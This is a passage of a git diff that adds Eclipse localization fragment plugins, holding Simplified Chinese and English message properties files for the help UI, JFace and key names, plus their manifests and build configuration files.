+SearchLabel=\u641c\u7d22(&S)\uff1a +SearchResults=\u641c\u7d22\u7ed3\u679c +Content=\u5185\u5bb9 +Links=\u94fe\u63a5 +Bookshelf=\u76ee\u5f55 +show_all=\u663e\u793a\u6240\u6709\u4e3b\u9898 +filter=\u8fc7\u6ee4 +show_categories=\u663e\u793a\u7ed3\u679c\u7c7b\u522b +show_descriptions=\u663e\u793a\u7ed3\u679c\u63cf\u8ff0 +Toggle=\u5207\u6362\u5bfc\u822a +Synch=\u5728\u76ee\u5f55\u4e2d\u663e\u793a +SynchNav=\u4e0e\u76ee\u5f55\u94fe\u63a5 +CollapseAll=\u5168\u90e8\u6298\u53e0 +shortSynch=\u540c\u6b65 +Print=\u6253\u5370\u9875\u9762 +PrintMulti=\u6253\u5370\u4e3b\u9898 +PrintTopic=\u6253\u5370\u6240\u9009\u4e3b\u9898 +PrintToc=\u6253\u5370\u6240\u9009\u4e3b\u9898\u548c\u6240\u6709\u526f\u4e3b\u9898 +PrintError=\u5fc5\u987b\u9009\u62e9\u6709\u6548\u7684\u4e3b\u9898\u624d\u80fd\u8fdb\u884c\u6253\u5370 +TocHeading=\u5185\u5bb9 +Close=\u5173\u95ed +Nothing_found=\u672a\u627e\u5230\u4efb\u4f55\u5185\u5bb9\u3002 +Indexing=\u6b63\u5728\u5efa\u7acb\u7d22\u5f15... +Loading=\u6b63\u5728\u88c5\u5165...\u8bf7\u7a0d\u5019 +complete=\u5b8c\u6210 +GO=\u8f6c\u81f3 +doSearch=\u8981\u641c\u7d22\u6587\u6863\uff0c\u8bf7\u5728\u201c\u641c\u7d22\u201d\u5b57\u6bb5\u4e2d\u8f93\u5165\u67e5\u8be2\u3002\u641c\u7d22\u7ed3\u679c\u5c06\u663e\u793a\u5728\u6b64\u89c6\u56fe\u4e2d\u3002 +Advanced=\u9ad8\u7ea7\u641c\u7d22 +SearchExpression=\u641c\u7d22\u8868\u8fbe\u5f0f +PotentialHit={0}\uff08\u53ef\u80fd\u547d\u4e2d\uff09 +expression_label=* \= \u4efb\u4f55\u5b57\u7b26\u4e32\uff0c? \= \u4efb\u4f55\u5b57\u7b26\uff0c"" \= \u77ed\u8bed\uff0cAND\u3001OR \u548c NOT \= \u5e03\u5c14\u8fd0\u7b97\u7b26 +Cancel=\u53d6\u6d88 +Select=\u9009\u62e9\u8981\u641c\u7d22\u7684\u4e00\u7ec4\u4e66\u7c4d\uff1a +Toolbar=\u5de5\u5177\u680f +Tabs=\u9009\u9879\u5361 +Banner=\u6761\u5e45 +Footer=\u811a\u6ce8 +CannotSync=\u5f53\u524d\u663e\u793a\u7684\u6587\u6863\u4e0d\u5728\u76ee\u5f55\u4e2d\u3002 +JavaScript_disabled=\u6b64\u9875\u9762\u9700\u8981 JavaScript\u3002\u9700\u8981\u5728\u60a8\u7684 Web \u6d4f\u89c8\u5668\u4e2d\u542f\u7528 JavaScript\uff0c\u91cd\u65b0\u542f\u52a8\u6d4f\u89c8\u5668\uff0c\u7136\u540e\u8fd4\u56de\u6b64\u9875\u9762\u3002 +back_tip=\u8fd4\u56de +forward_tip=\u524d\u8fdb +home_tip=\u4e3b\u9875 +highlight_tip=\u7a81\u51fa\u663e\u793a\u641c\u7d22\u8bcd\u7ec4 +noTocs=\u6ca1\u6709\u53ef\u7528\u7684\u5e2e\u52a9\u4e3b\u9898\u3002\u8bf7\u786e\u4fdd\u5df2\u5b89\u88c5\u4e86\u9002\u5f53\u7684\u6587\u6863\u63d2\u4ef6\u3002 +contentProducerException=\u6b64\u6587\u6863\u7684\u5185\u5bb9\u751f\u6210\u5668\u5728\u5904\u7406\u6587\u6863\u65f6\u9047\u5230\u4e86\u5185\u90e8\u9519\u8bef\u3002 +IndexingPleaseWait=\u8bf7\u7a0d\u5019\uff0c\u6b63\u5728\u4e3a\u8054\u673a\u4fe1\u606f\u5efa\u7acb\u7d22\u5f15\u3002\u6b64\u64cd\u4f5c\u53ea\u8fdb\u884c\u4e00\u6b21\u3002 +Bookmarks=\u4e66\u7b7e +BookmarkPage=\u7ed9\u6587\u6863\u6dfb\u52a0\u4e66\u7b7e +RemoveBookmark=\u5220\u9664 +RemoveAllBookmarks=\u5168\u90e8\u5220\u9664 +deleteBookmark=\u5220\u9664\u6240\u9009\u4e66\u7b7e +deleteAllBookmarks=\u5220\u9664\u6240\u6709\u4e66\u7b7e +confirmDeleteAllBookmarks=\u5c06\u5220\u9664\u6240\u6709\u4e66\u7b7e\u3002\u8981\u7ee7\u7eed\u5417\uff1f +addBookmark=\u5f53\u524d\u6ca1\u6709\u4e66\u7b7e\u3002\u8981\u6dfb\u52a0\u4e66\u7b7e\uff0c\u8bf7\u5728\u6d4f\u89c8\u4e3b\u9898\u65f6\u6309\u4e3b\u5de5\u5177\u680f\u4e0a\u7684\u4e66\u7b7e\u56fe\u6807\u3002 +Help=\u5e2e\u52a9 +ProcessingError=\u5904\u7406\u6240\u8bf7\u6c42\u6587\u6863\u65f6\u53d1\u751f\u4e86\u9519\u8bef\uff1a +searchTooComplex=\u641c\u7d22\u8bf7\u6c42\u592a\u590d\u6742\u3002 +disabledResults=\u5df2\u7981\u7528\u529f\u80fd\u7684\u7ed3\u679c +toc=\u5185\u5bb9 +index=\u7d22\u5f15 +links=\u94fe\u63a5 +search=\u641c\u7d22\u7ed3\u679c +bookmarks=\u4e66\u7b7e +Views=\u5bfc\u822a\u89c6\u56fe +noLiveHelp=\u60a8\u7684\u5b89\u88c5\u4e2d\u672a\u542f\u7528\u6d3b\u52a8\u5e2e\u52a9\u3002 +noLiveHelpInInfocenter=\u53ea\u6709\u5728\u672c\u5730\u8fd0\u884c\u5e2e\u52a9\uff0c\u624d\u80fd\u6267\u884c\u201c\u6d3b\u52a8\u5e2e\u52a9\u201d\u64cd\u4f5c\u3002 +CookieUtil.tooManyCookiesNeeded=\u5b58\u50a8\u6570\u636e\u6240\u9700\u7684 cookie \u8fc7\u591a\u3002 +cookiesRequired=\u6b64\u529f\u80fd\u90e8\u4ef6\u8981\u6c42\u5728\u6d4f\u89c8\u5668\u4e2d\u542f\u7528 cookie\u3002 +All=\u6240\u6709\u4e3b\u9898 +NewWorkingSetButton=\u65b0\u5efa(&N)... +EditWorkingSetButton=\u7f16\u8f91(&E)... +RemoveWorkingSetButton=\u79fb\u9664(&R) +OK=\u786e\u5b9a +WorkingSetName=\u5217\u8868\u540d\u79f0(&N)\uff1a +confirmShowAllTitle=\u786e\u8ba4 +confirmShowAllQuestion=\u6b64\u64cd\u4f5c\u5c06\u663e\u793a\u76ee\u5f55\u4e2d\u7684\u6240\u6709\u4e3b\u9898\u3002 +confirmShowAllExplanation=\u5982\u679c\u9009\u62e9\u663e\u793a\u76ee\u5f55\u4e2d\u7684\u6240\u6709\u4e3b\u9898\uff0c\u5219\u76ee\u5f55\u548c\u641c\u7d22\u7ed3\u679c\u4e2d\u8fd8\u4f1a\u663e\u793a\u6709\u5173\u4efb\u4f55\u5df2\u7981\u7528\u529f\u80fd\u7684\u6587\u6863\u6807\u9898\u3002\u6b64\u6587\u6863\u53ef\u80fd\u4f1a\u5f15\u7528\u770b\u4e0d\u5230\u7684\u7528\u6237\u754c\u9762\u5143\u7d20\u3002\u8981\u624b\u5de5\u542f\u7528\u529f\u80fd\uff0c\u8bf7\u4f7f\u7528\u201c\u529f\u80fd\u201d\u9996\u9009\u9879\u9875\u9762\u3002

    \u8981\u7ee7\u7eed\u5417\uff1f +yes=\u662f +no=\u5426 +dontask=\u4e0d\u8981\u518d\u6b21\u8b66\u544a(&N) +ignore=\u5e03\u5c40\u6846\u67b6\uff1a{0} +helpToolbarFrame=\u4e3b\u5e2e\u52a9\u5de5\u5177\u680f +TabsFrame=\u5bfc\u822a\u89c6\u56fe\u9009\u62e9 +topicView=\u4e3b\u9898\u89c6\u56fe +topicViewToolbar=\u4e3b\u9898\u89c6\u56fe\u5de5\u5177\u680f +tocView=\u76ee\u5f55\u89c6\u56fe +tocViewToolbar=\u76ee\u5f55\u89c6\u56fe\u5de5\u5177\u680f +linksView=\u94fe\u63a5\u89c6\u56fe +linksViewToolbar=\u94fe\u63a5\u89c6\u56fe\u5de5\u5177\u680f +searchView=\u641c\u7d22\u7ed3\u679c\u89c6\u56fe +searchViewToolbar=\u641c\u7d22\u7ed3\u679c\u89c6\u56fe\u5de5\u5177\u680f +bookmarksView=\u4e66\u7b7e\u89c6\u56fe +bookmarksViewToolbar=\u4e66\u7b7e\u89c6\u56fe\u5de5\u5177\u680f +bookClosed=\u5df2\u5173\u95ed\u4e66\u7c4d +bookOpen=\u5df2\u6253\u5f00\u4e66\u7c4d +topicClosed=\u5df2\u5173\u95ed\u4e3b\u9898 +topicOpen=\u5df2\u6253\u5f00\u4e3b\u9898 +maximize=\u6700\u5927\u5316 +restore=\u590d\u539f +expandTopicTitles=\u6269\u5c55\u4e3b\u9898 +collapseTopicTitles=\u6298\u53e0\u4e3b\u9898 +altTopic=\u4e3b\u9898 +altContainer=\u5bb9\u5668 +altContainerTopic=\u5bb9\u5668\u4e3b\u9898 +disabledTopic1=\u8fd9\u4e3b\u9898\u5c5e\u4e8e\u5f53\u524d\u7981\u7528\u7684\u529f\u80fd\u3002\n +disabledTopic2=\u5b83\u53ef\u80fd\u5f15\u7528\u4e86\u770b\u4e0d\u5230\u7684\u7528\u6237\u754c\u9762\u5143\u7d20\u3002\n +disabledTopic3=\u8981\u624b\u5de5\u542f\u7528\u529f\u80fd\uff0c\u8bf7\u4f7f\u7528 +disabledTopic4=\u201c\u529f\u80fd\u201d\u9996\u9009\u9879\u9875\u9762\u3002 +IndexViewTitle=\u7d22\u5f15\u89c6\u56fe +IndexTypeinTitle=\u7d22\u5f15\u8f93\u5165 +IndexListTitle=\u7d22\u5f15\u5217\u8868 +IndexTypeinInstructions=\u8f93\u5165\u8981\u67e5\u627e\u7684\u5b57\uff1a +IndexTypeinButton=\u663e\u793a +IndexEmpty=\u7d22\u5f15\u4e2d\u6ca1\u6709\u6761\u76ee\u3002 +IndexPrevious=<< \u4e0a\u4e00\u6b65 +IndexNext=\u4e0b\u4e00\u6b65 >> +provider=\u63d0\u4f9b\u7a0b\u5e8f +pluginName=\u63d2\u4ef6\u540d\u79f0 +version=\u7248\u672c +pluginId=\u63d2\u4ef6\u6807\u8bc6 +preferences=\u9996\u9009\u9879 +error=\u9519\u8bef +Uncategorized=\u53d6\u6d88\u5206\u7c7b \ No newline at end of file diff --git a/i18n/org.eclipse.jface.nl_en/.classpath b/i18n/org.eclipse.jface.nl_en/.classpath new file mode 100644 index 0000000..8727917 --- /dev/null +++ b/i18n/org.eclipse.jface.nl_en/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/i18n/org.eclipse.jface.nl_en/.project b/i18n/org.eclipse.jface.nl_en/.project new file mode 100644 index 0000000..c6dd0fc --- /dev/null +++ b/i18n/org.eclipse.jface.nl_en/.project @@ -0,0 +1,28 @@ + + + org.eclipse.jface.nl_en + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/i18n/org.eclipse.jface.nl_en/META-INF/MANIFEST.MF b/i18n/org.eclipse.jface.nl_en/META-INF/MANIFEST.MF new file mode 100644 index 0000000..19cffbf --- /dev/null +++ b/i18n/org.eclipse.jface.nl_en/META-INF/MANIFEST.MF @@ -0,0 +1,7 @@ +Manifest-Version: 1.0 +Bundle-Name: org.eclipse.jface English NLS Support +Bundle-SymbolicName: org.eclipse.jface.nl_en;singleton=true +Bundle-Version: 8.0.2.R8b_v20130906 +Bundle-Vendor: Eclipse.org +Fragment-Host: org.eclipse.jface +Bundle-RequiredExecutionEnvironment: J2SE-1.5 diff --git a/i18n/org.eclipse.jface.nl_en/build.properties b/i18n/org.eclipse.jface.nl_en/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/i18n/org.eclipse.jface.nl_en/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/i18n/org.eclipse.jface.nl_en/src/org/eclipse/jface/messages_en.properties b/i18n/org.eclipse.jface.nl_en/src/org/eclipse/jface/messages_en.properties new file mode 100644 index 0000000..dad7bc2 --- /dev/null +++ b/i18n/org.eclipse.jface.nl_en/src/org/eclipse/jface/messages_en.properties @@ -0,0 +1,2 @@ +# 2013-04-16 \u4fee\u6539 +PreferenceDialog.title=Options diff --git a/i18n/org.eclipse.jface.nl_zh/.classpath b/i18n/org.eclipse.jface.nl_zh/.classpath new file mode 100644 index 0000000..8727917 --- /dev/null +++ b/i18n/org.eclipse.jface.nl_zh/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/i18n/org.eclipse.jface.nl_zh/.project b/i18n/org.eclipse.jface.nl_zh/.project new file mode 100644 index 0000000..49ffb2f --- /dev/null +++ b/i18n/org.eclipse.jface.nl_zh/.project @@ -0,0 +1,28 @@ + + + org.eclipse.jface.nl_zh + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/i18n/org.eclipse.jface.nl_zh/.settings/org.eclipse.jdt.core.prefs b/i18n/org.eclipse.jface.nl_zh/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/i18n/org.eclipse.jface.nl_zh/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/i18n/org.eclipse.jface.nl_zh/META-INF/MANIFEST.MF b/i18n/org.eclipse.jface.nl_zh/META-INF/MANIFEST.MF new file mode 100644 index 0000000..9fa30b6 --- /dev/null +++ b/i18n/org.eclipse.jface.nl_zh/META-INF/MANIFEST.MF @@ -0,0 +1,7 @@ +Manifest-Version: 1.0 +Bundle-Name: org.eclipse.jface Chinese (Simplified) NLS Support +Bundle-SymbolicName: org.eclipse.jface.nl_zh ;singleton=true +Bundle-Version: 8.0.2.R8b_v20130906 +Bundle-Vendor: Eclipse.org +Fragment-Host: org.eclipse.jface +Bundle-RequiredExecutionEnvironment: J2SE-1.5 diff --git a/i18n/org.eclipse.jface.nl_zh/build.properties b/i18n/org.eclipse.jface.nl_zh/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/i18n/org.eclipse.jface.nl_zh/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/i18n/org.eclipse.jface.nl_zh/src/org/eclipse/jface/action/ExternalActionManager_zh.properties b/i18n/org.eclipse.jface.nl_zh/src/org/eclipse/jface/action/ExternalActionManager_zh.properties new file mode 100644 index 0000000..90a410c --- /dev/null +++ b/i18n/org.eclipse.jface.nl_zh/src/org/eclipse/jface/action/ExternalActionManager_zh.properties @@ -0,0 +1,2 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +undefinedCommand.WarningMessage=\u672a\u5b9a\u4e49\u547d\u4ee4\uff08\u201c{0}\u201d\uff09 \ No newline at end of file diff --git a/i18n/org.eclipse.jface.nl_zh/src/org/eclipse/jface/bindings/keys/formatting/AbstractKeyFormatter_zh.properties b/i18n/org.eclipse.jface.nl_zh/src/org/eclipse/jface/bindings/keys/formatting/AbstractKeyFormatter_zh.properties new file mode 100644 index 0000000..aa8e78e --- /dev/null +++ b/i18n/org.eclipse.jface.nl_zh/src/org/eclipse/jface/bindings/keys/formatting/AbstractKeyFormatter_zh.properties @@ -0,0 +1,59 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +ALT=Alt +COMMAND=Command +CTRL=Ctrl +SHIFT=Shift +ARROW_DOWN=\u5411\u4e0b +ARROW_LEFT=\u5de6\u7bad\u5934 +ARROW_RIGHT=\u53f3\u7bad\u5934 +ARROW_UP=\u5411\u4e0a +BREAK=Break +CAPS_LOCK=CapsLock +END=End +F1=F1 +F10=F10 +F11=F11 +F12=F12 +F2=F2 +F3=F3 +F4=F4 +F5=F5 +F6=F6 +F7=F7 +F8=F8 +F9=F9 +HOME=\u4e3b\u9875 +INSERT=\u63d2\u5165 +NUM_LOCK=NumLock +NUMPAD_0=Numpad_0 +NUMPAD_1=Numpad_1 +NUMPAD_2=Numpad_2 +NUMPAD_3=Numpad_3 +NUMPAD_4=Numpad_4 +NUMPAD_5=Numpad_5 +NUMPAD_6=Numpad_6 +NUMPAD_7=Numpad_7 +NUMPAD_8=Numpad_8 +NUMPAD_9=Numpad_9 +NUMPAD_ADD=Numpad_Add +NUMPAD_DECIMAL=Numpad_Decimal +NUMPAD_DIVIDE=Numpad_Divide +NUMPAD_ENTER=Numpad_Enter +NUMPAD_EQUAL=Numpad_Equal +NUMPAD_MULTIPLY=Numpad_Multiply +NUMPAD_SUBTRACT=Numpad_Subtract +PAGE_DOWN=PageDown +PAGE_UP=PageUp +PAUSE=\u6682\u505c +PRINT_SCREEN=PrintScreen +SCROLL_LOCK=ScrollLock +BS=Backspace +CR=Enter +DEL=\u5220\u9664 +ESC=Esc +FF=FormFeed +LF=LineFeed +NUL=Null +SPACE=Space +TAB=Tab +VT=VerticalTab \ No newline at end of file diff --git a/i18n/org.eclipse.jface.nl_zh/src/org/eclipse/jface/bindings/keys/formatting/EmacsKeyFormatter_zh.properties b/i18n/org.eclipse.jface.nl_zh/src/org/eclipse/jface/bindings/keys/formatting/EmacsKeyFormatter_zh.properties new file mode 100644 index 0000000..02ced61 --- /dev/null +++ b/i18n/org.eclipse.jface.nl_zh/src/org/eclipse/jface/bindings/keys/formatting/EmacsKeyFormatter_zh.properties @@ -0,0 +1,6 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +ALT=M +COMMAND=D +CTRL=C +SHIFT=S +KEY_DELIMITER=- \ No newline at end of file diff --git a/i18n/org.eclipse.jface.nl_zh/src/org/eclipse/jface/bindings/keys/formatting/NativeKeyFormatter_zh.properties b/i18n/org.eclipse.jface.nl_zh/src/org/eclipse/jface/bindings/keys/formatting/NativeKeyFormatter_zh.properties new file mode 100644 index 0000000..1959144 --- /dev/null +++ b/i18n/org.eclipse.jface.nl_zh/src/org/eclipse/jface/bindings/keys/formatting/NativeKeyFormatter_zh.properties @@ -0,0 +1 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ \ No newline at end of file diff --git a/i18n/org.eclipse.jface.nl_zh/src/org/eclipse/jface/messages_zh.properties b/i18n/org.eclipse.jface.nl_zh/src/org/eclipse/jface/messages_zh.properties new file mode 100644 index 0000000..cef86e1 --- /dev/null +++ b/i18n/org.eclipse.jface.nl_zh/src/org/eclipse/jface/messages_zh.properties @@ -0,0 +1,124 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +ok=\u786e\u5b9a +cancel=\u53d6\u6d88 +yes=\u662f(&Y) +yestoall=\u5168\u90e8\u4e3a\u662f(&A) +skip=\u8df3\u8fc7(&K) +stop=\u505c\u6b62(&S) +abort=\u653e\u5f03(&A) +retry=\u91cd\u8bd5(&R) +ignore=\u5ffd\u7565(&I) +proceed=\u7ee7\u7eed(&P) +open=\u6253\u5f00(&O) +close=\u5173\u95ed(&C) +showDetails=\u8be6\u7ec6\u4fe1\u606f(&D) >> +hideDetails=<< \u8be6\u7ec6\u4fe1\u606f(&D) +backButton=<\u4e0a\u4e00\u6b65(&B) +nextButton=\u4e0b\u4e00\u6b65(&N)> +finish=\u5b8c\u6210(&F) +help=\u5e2e\u52a9(&H) +helpToolTip=\u5e2e\u52a9 +no=\u5426(&N) +notoall=\u5168\u90e8\u4e3a\u5426(&T) +defaults=\u6062\u590d\u9ed8\u8ba4\u503c(&D) +apply=\u5e94\u7528(&A) +openBrowse=\u6d4f\u89c8(&B)... +openChange=\u66f4\u6539(&C)... +copy=\u590d\u5236(&C) +error=\u9519\u8bef +warning=\u8b66\u544a +info=\u4fe1\u606f +question=\u95ee\u9898 +WizardClosingDialog.title=\u5411\u5bfc\u6b63\u5728\u5173\u95ed +WizardClosingDialog.message=\u7531\u4e8e\u6d3b\u52a8\u7684\u64cd\u4f5c\u800c\u5bfc\u81f4\u5411\u5bfc\u4e0d\u80fd\u5173\u95ed\u3002\u5fc5\u987b\u5148\u53d6\u6d88\u8be5\u64cd\u4f5c\u624d\u80fd\u5173\u95ed\u8be5\u5411\u5bfc\u3002 +WizardDialog.missingSetControl={0} \u6ca1\u6709\u9875\u9762\u63a7\u4ef6 +ProgressMonitorDialog.title=\u8fdb\u5ea6\u4fe1\u606f +ProgressMonitorDialog.message=\u6b63\u5728\u6267\u884c\u64cd\u4f5c... +ProgressMonitorPart.cancelToolTip=\u53d6\u6d88\u64cd\u4f5c +PreferenceDialog.saveErrorTitle=\u4fdd\u5b58\u9996\u9009\u9879\u65f6\u51fa\u73b0\u95ee\u9898 +PreferenceDialog.saveErrorMessage=\u4fdd\u5b58\u9875\u9762 {0} \u65f6\u9047\u5230\u95ee\u9898\u3002\n{1} +PreferenceStore.changeError=\u901a\u77e5\u9996\u9009\u9879\u66f4\u6539\u4fa6\u542c\u5668\u65f6\u51fa\u9519\u3002\u6709\u5173\u8be6\u7ec6\u4fe1\u606f\uff0c\u8bf7\u68c0\u67e5\u65e5\u5fd7\u3002 +FontRegistry.changeError=\u901a\u77e5\u5b57\u4f53\u6ce8\u518c\u8868\u66f4\u6539\u4fa6\u542c\u5668\u65f6\u51fa\u9519\u3002\u6709\u5173\u8be6\u7ec6\u4fe1\u606f\uff0c\u8bf7\u68c0\u67e5\u65e5\u5fd7\u3002 +AbortPageFlippingDialog.title=\u672a\u80fd\u63a5\u53d7\u66f4\u6539 +AbortPageFlippingDialog.message=\u5f53\u524d\u663e\u793a\u7684\u9875\u9762\u4e2d\u5305\u542b\u65e0\u6548\u7684\u503c\u3002 +StringFieldEditor.errorMessage=\u5b57\u6bb5\u5305\u542b\u65e0\u6548\u503c +IntegerFieldEditor.errorMessage=\u503c\u5fc5\u987b\u4e3a\u6574\u6570 +IntegerFieldEditor.errorMessageRange=\u503c\u5fc5\u987b\u662f\u4ecb\u4e8e {0} \u548c {1} \u4e4b\u95f4\u7684\u6574\u6570 +FileFieldEditor.errorMessage=\u503c\u5fc5\u987b\u662f\u73b0\u6709\u6587\u4ef6 +FileFieldEditor.errorMessage2=\u503c\u5fc5\u987b\u662f\u7edd\u5bf9\u8def\u5f84 +DirectoryFieldEditor.errorMessage=\u503c\u5fc5\u987b\u662f\u73b0\u6709\u76ee\u5f55 +ListEditor.add=\u65b0\u5efa(&W)... +ListEditor.remove=\u79fb\u9664(&R) +ListEditor.up=\u5411\u4e0a(&U) +ListEditor.down=\u4e0b\u79fb(&N) +TextViewer.invalidRangeArg=\u8303\u56f4\u81ea\u53d8\u91cf\u65e0\u6548 +TextViewer.invalidVisibleRegionArg=\u53ef\u89c6\u533a\u57df\u81ea\u53d8\u91cf\u65e0\u6548 +Cancel_Current_Operation=\u53d6\u6d88\u5f53\u524d\u64cd\u4f5c +Set_SubTask={0}\uff1a{1} +Toolbar_Tooltip_Accelerator={0}\uff08{1}\uff09 +Problem_Occurred=\u53d1\u751f\u4e86\u95ee\u9898 +Reason={0}\n\n\u539f\u56e0\uff1a\n {1} +MessageDialogWithToggle.defaultToggleMessage=\u8bb0\u4f4f\u6211\u7684\u51b3\u5b9a(&R) +PopupDialog.resize=\u8c03\u6574\u5927\u5c0f(&R) +PopupDialog.move=\u79fb\u52a8(&M) +PopupDialog.persistBounds=\u8bb0\u4f4f\u5927\u5c0f\u548c\u4f4d\u7f6e(&E) +PopupDialog.persistSize=\u8bb0\u5f55\u5927\u5c0f(&Z) +PopupDialog.persistLocation=\u8bb0\u5f55\u4f4d\u7f6e(&L) +PopupDialog.menuTooltip=\u83dc\u5355 +Image_not_found=\u627e\u4e0d\u5230\u56fe\u50cf +=<\u7a7a\u9009\u62e9> +BoldItalicFont=\u7c97\u4f53\u659c\u4f53 +BoldFont=\u7c97\u4f53 +ItalicFont=\u659c\u4f53 +RegularFont=\u6b63\u5e38\u5b57\u4f53 +Ctrl=Ctrl +Command=Command +Alt=Alt +Shift=Shift +Backspace=Backspace +Tab=Tab +Return=Return +Enter=Enter +Escape=Escape +Esc=Esc +Delete=\u5220\u9664 +Space=Space +Arrow_Up=\u2191 +Arrow_Down=\u2193 +Arrow_Left=\u2190 +Arrow_Right=\u2192 +Page_Up=\u5411\u4e0a\u7ffb\u9875 +Page_Down=\u5411\u4e0b\u7ffb\u9875 +Home=\u4e3b\u9875 +End=End +Insert=\u63d2\u5165 +F1=F1 +F2=F2 +F3=F3 +F4=F4 +F5=F5 +F6=F6 +F7=F7 +F8=F8 +F9=F9 +F10=F10 +F11=F11 +F12=F12 +SafeRunnable.errorMessage=\u53d1\u751f\u4e86\u9519\u8bef\u3002\u8bf7\u53c2\u9605\u9519\u8bef\u65e5\u5fd7\u4ee5\u4e86\u89e3\u66f4\u591a\u8be6\u7ec6\u4fe1\u606f\u3002 +ColorSelector.Name=\u989c\u8272\u9009\u62e9\u5668 +Sorting=\u6392\u5e8f +LocalSelectionTransfer.errorMessage=\u63a5\u6536\u5230\u9519\u8bef\u7684\u4f20\u9001\u6570\u636e\u3002 +FieldDecorationRegistry.errorMessage=\u5b57\u6bb5\u5185\u5bb9\u51fa\u9519 +FieldDecorationRegistry.contentAssistMessage=\u5185\u5bb9\u8f85\u52a9\u53ef\u7528 +FieldDecorationRegistry.requiredFieldMessage=\u5fc5\u586b\u5b57\u6bb5 +FieldDecorationRegistry.errorQuickFixMessage=\u5b57\u6bb5\u5185\u5bb9\u51fa\u9519\u3002\u5feb\u901f\u4fee\u6b63\u53ef\u7528\u3002 +SafeRunnableDialog_reason={0}\n\n\u539f\u56e0\uff1a\n {1} +SafeRunnableDialog_checkDetailsMessage=\u68c0\u67e5\u8be6\u7ec6\u4fe1\u606f +SafeRunnableDialog_MultipleErrorsTitle=\u53d1\u751f\u4e86\u591a\u4e2a\u9519\u8bef +SafeRunnableDialog_MultipleErrorsMessage=\u591a\u4e2a\u64cd\u4f5c\u62a5\u544a\u4e86\u9519\u8bef\u3002\u9009\u62e9\u67d0\u4e2a\u9519\u8bef\u4ee5\u67e5\u770b\u5b83\u7684\u8be6\u7ec6\u4fe1\u606f\u3002 +ConfigureColumnsDialog_Title=\u8bbe\u7f6e\u5217 +ConfigureColumnsDialog_WidthOfSelectedColumn=\u6240\u9009\u5217\u7684\u5bbd\u5ea6(&W)\uff1a +ConfigureColumnsDialog_up=\u5411\u4e0a(&U) +ConfigureColumnsDialog_down=\u5411\u4e0b(&D) +# 2013-04-16 \u4fee\u6539 +PreferenceDialog.title=\u9009\u9879 diff --git a/i18n/org.eclipse.ltk.core.refactoring.nl_en/.classpath b/i18n/org.eclipse.ltk.core.refactoring.nl_en/.classpath new file mode 100644 index 0000000..8727917 --- /dev/null +++ b/i18n/org.eclipse.ltk.core.refactoring.nl_en/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/i18n/org.eclipse.ltk.core.refactoring.nl_en/.project b/i18n/org.eclipse.ltk.core.refactoring.nl_en/.project new file mode 100644 index 0000000..9238724 --- /dev/null +++ b/i18n/org.eclipse.ltk.core.refactoring.nl_en/.project @@ -0,0 +1,28 @@ + + + org.eclipse.ltk.core.refactoring.nl_en + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/i18n/org.eclipse.ltk.core.refactoring.nl_en/.settings/org.eclipse.jdt.core.prefs b/i18n/org.eclipse.ltk.core.refactoring.nl_en/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/i18n/org.eclipse.ltk.core.refactoring.nl_en/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/i18n/org.eclipse.ltk.core.refactoring.nl_en/META-INF/MANIFEST.MF b/i18n/org.eclipse.ltk.core.refactoring.nl_en/META-INF/MANIFEST.MF new file mode 100644 index 0000000..5a4284f --- /dev/null +++ b/i18n/org.eclipse.ltk.core.refactoring.nl_en/META-INF/MANIFEST.MF @@ -0,0 +1,7 @@ +Manifest-Version: 1.0 +Bundle-Name: org.eclipse.ltk.core.refactoring English NLS Support +Bundle-SymbolicName: org.eclipse.ltk.core.refactoring.nl_en;singleton=true +Bundle-Version: 8.0.2.R8b_v20130906 +Bundle-Vendor: Eclipse.org +Fragment-Host: org.eclipse.ltk.core.refactoring +Bundle-RequiredExecutionEnvironment: J2SE-1.5 diff --git a/i18n/org.eclipse.ltk.core.refactoring.nl_en/build.properties b/i18n/org.eclipse.ltk.core.refactoring.nl_en/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ 